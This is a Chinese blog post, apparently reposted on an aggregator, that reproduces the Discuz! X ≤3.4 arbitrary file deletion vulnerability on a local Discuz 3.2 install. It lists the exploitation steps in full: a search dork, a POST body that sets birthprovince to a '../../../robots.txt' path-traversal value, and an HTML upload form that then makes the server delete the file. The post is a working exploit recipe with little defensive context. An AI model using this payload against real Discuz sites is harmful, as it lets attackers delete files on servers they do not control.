Discuz≤3.4任意文件删除漏洞

Posted Carrypan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Discuz≤3.4任意文件删除漏洞相关的知识,希望对你有一定的参考价值。

Discuz!X ≤3.4任意文件删除漏洞

试了3.4,好像不行。。

这里以Discuz3.2为例

关键字:
Powered by Discuz! X3.2

时间有限,就不一一截图了,Discuz所有页面全在Discuz_X3.2_SC_UTF8/upload/目录下

利用过程:

访问http://192.168.1.102/Discuz_X3.2_SC_UTF8/upload/robots.txt试试,这是我虚机中discuz中robots的路径,具体视个人情况而定

1、注册个帐号

2、提交数据

url地址栏:http://192.168.1.102/Discuz_X3.2_SC_UTF8/upload/home.php?mod=spacecp&ac=profile&op=base
POST数据:birthprovince=../../../robots.txt&profilesubmit=1&formhash=2bc7eb9a,这个formhash的值可以从源代码中找到,每次都不一样的

3、提交数据之后,打开设置界面,可以看到出生地变成../../../robots.txt

4、构造上传表单

<form action="http://192.168.1.102/Discuz_X3.2_SC_UTF8/upload/home.php?mod=spacecp&ac=profile&op=base" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="formhash" value="2bc7eb9a" /> //此formhash值和第三布formhash值一样
<input type="text" name="profilesubmit" value="1" />
<input type="submit" value="submit" />
</form>
上传成功后,返回空白页面,然后访问http://192.168.1.102/Discuz_X3.2_SC_UTF8/upload/robots.txt,发现robots.txt已被删除

以上是关于Discuz≤3.4任意文件删除漏洞的主要内容,如果未能解决你的问题,请参考以下文章

Discuz!X 3.4 前台任意文件删除漏洞复现

网站漏洞修复案例之Discuz!3.4最新版本

Discuz!X前台任意文件删除漏洞重现

Discuz!X前台任意文件删除漏洞重现

WordPress删除任意文件/执行任意代码安全漏洞临时修复方法

DedeCMS v5.7 注册用户任意文件删除漏洞